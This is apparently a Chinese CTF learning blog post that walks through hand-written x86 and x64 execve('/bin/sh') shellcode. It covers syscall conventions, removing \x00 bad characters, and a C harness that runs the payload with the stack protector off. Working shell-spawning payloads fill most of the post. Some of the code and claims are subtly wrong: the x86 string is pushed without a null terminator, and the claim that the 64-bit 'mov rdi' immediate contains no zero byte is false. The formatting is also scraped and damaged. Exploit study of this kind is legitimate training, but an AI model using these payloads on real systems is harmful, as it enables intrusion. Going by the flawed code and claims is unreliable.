【学习记录】Week3(三):灵魂注入——x86/x64 手写基础 Shellcode 实战

发布时间:2026/6/30 23:16:32
【学习记录】Week3(三):灵魂注入——x86/x64 手写基础 Shellcode 实战 写在前面在上一篇中我们用pwntools的shellcraft.sh()一键生成了 Shellcode 并成功注入。但在真实漏洞利用场景中自动生成的 Shellcode 往往包含\x00等坏字符或者长度超标被截断。一个成熟的 Pwn 手必须具备从零手写 Shellcode 的能力。今天我们就来扒开 Shellcode 的底裤手写 x86 和 x64 的极简 Shellcode。 目录Shellcode 的本质就是调用系统 APIx86 手写实战int 0x80与execvex64 演进syscall与寄存器传参变化高阶技巧如何消灭坏字符\x00总结与验证1. Shellcode 的本质就是调用系统 APIShellcode 并不是什么魔法它本质上就是一段调用操作系统底层 API 的汇编代码。在 Linux 中执行/bin/sh最标准的做法是调用execve系统调用。execve的函数原型是int execve(const char *filename, char *const argv[], char *const envp[]);要拿 Shell我们需要让它的参数变成这样execve(/bin/sh, NULL, NULL)。在汇编层面这就是一场给寄存器赋值并触发中断的游戏找个地方放字符串/bin/sh把它的地址给对应寄存器。把参数指针数组argv设为NULL0。把环境变量数组envp设为NULL0。把系统调用号execve给累加器EAX/RAX。触发系统调用中断。2. x86 手写实战int 0x80与execve在 32 位 Linux 中系统调用使用int 0x80软中断触发。查阅系统调用表execve的调用号是11 (0xb)。寄存器约定eax 0xb (系统调用号)ebx “/bin/sh” 字符串地址 (第一个参数)ecx 0 (第二个参数 NULL)edx 0 (第三个参数 NULL)问题来了字符串 “/bin/sh” 在哪由于 ASLR我们不知道绝对地址。但我们可以利用栈来动态构造字符串并利用esp获取它的地址。“/bin/sh” 共 8 个字节含结尾的\x00。为了避开\x00坏字符我们通常使用 “//bin/sh”8字节效果等同。x86 汇编代码推演; 1. 清零 ecx 和 edx (避免内存里有脏数据) xor ecx, ecx xor edx, edx ; 2. 把 //bin/sh 压入栈中 ; 注意小端序倒着写hs/n 和 ib// push 0x68732f6e ; hs/n (实际是 hs// 的变形这里凑 8 字节) push 0x69622f2f ; ib// ; 3. 把 esp (此时指向栈顶的 //bin/sh) 赋给 ebx mov ebx, esp ; 4. 把系统调用号 0xb 赋给 eax ; 注意直接 mov eax, 0xb 会产生 \x00所以用异或清零再赋值 xor eax, eax mov al, 0xb ; 5. 触发中断 int 0x80假设性说明模拟 pwntoolsasm()输出将上述汇编用 pwntools 编译查看生成的机器码from pwn import * context.arch i386 code xor ecx, ecx; xor edx, edx; push 0x68732f6e; push 0x69622f2f; mov ebx, esp; xor eax, eax; mov al, 0xb; int 0x80; print(asm(code))模拟终端输出机器码b\x31\xc9\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80完美整段机器码中没有任何\x00可以直接作为 Payload 发送。3. x64 演进syscall与寄存器传参变化到了 64 位事情发生了两个变化触发系统调用的指令从int 0x80变成了更高效的syscall。execve的调用号变成了59 (0x3b)。传参不再用栈而是用寄存器rdi(参数1),rsi(参数2),rdx(参数3),rax(调用号)。x64 汇编代码推演; 1. 清零 rdx 和 rsi xor rdx, rdx xor rsi, rsi ; 2. 压入 /bin/sh ; /bin/sh 只有 7 个字符加上结尾 \x00 是 8 字节 ; 但我们不能直接 push \x00 ; 技巧先 push 一个 0再改写内存 push rdx ; rdx 是 0压入 8 个字节的 0 作为字符串结尾 mov rdi, 0x68732f6e69622f ; /bin/sh 的 hex 形式 (刚好 7 字节最高字节为 0) push rdi ; 压入栈 ; 3. 让 rdi 指向栈顶的字符串 mov rdi, rsp ; 4. 设置系统调用号 0x3b xor rax, rax mov al, 0x3b ; 5. 触发 syscall syscall避坑指南为什么这里mov rdi, 0x68732f6e69622f可以直接写因为在 64 位汇编中mov r64, imm64指令允许直接将 64 位立即数载入寄存器由于最高位是0x00这条指令的机器码中不会包含额外的\x00截断字符汇编器会自动处理成最短指令。但如果用mov rdi, /bin/sh\x00则可能会触发错误或产生坏字符。4. 高阶技巧如何消灭坏字符\x00在很多漏洞场景中如strcpy、gets等字符串操作函数遇到\x00会被认为是字符串结束符从而截断我们的 Payload。手写 Shellcode 的核心就是消除\x00。常见消零手法总结清零不用mov reg, 0用xor eax, eax异或自己结果为 0。用push 0; pop rax如果必须赋 0但要注意push 0本身机器码带\x00可以xor rdx, rdx; push rdx; pop rax。给低位赋值不用mov eax, 0xb因为高位会是 0机器码会带\x00。先xor eax, eax再用mov al, 0xb只改写最低字节。字符串处理不用\x00结尾硬编码压栈时利用寄存器清零后的值作为垫背如上述 64 位中的push rdx。5. 总结与验证手写 Shellcode 是 PWN 进阶的分水岭。它要求你不仅懂汇编还要懂系统调用约定更要像特种兵一样在机器码的雷区中躲避\x00坏字符。本地验证小技巧写完 Shellcode 后不用每次都打远程测试。可以直接写一段 C 代码将其强制转换为函数指针执行#include stdio.h #include string.h unsigned char shellcode[] \x31\xc9\x31\xd2...; // 你的机器码 int main() { printf(Shellcode Length: %d\n, strlen(shellcode)); (*(void(*)())shellcode)(); return 0; } // 编译时记得关栈保护且开启可执行栈gcc test.c -o test -z execstack -fno-stack-protector至此我们掌握了控制流劫持、栈跳转和手写 Shellcode。但在现代 CTF 和真实环境中经常会遇到沙箱禁用execve的情况这时候system(/bin/sh)不好使了我们就必须转向更底层的文件读写——ORW。下一篇我们将梳理 ORW 的学习路径。如果本文对你有帮助请点赞收藏支持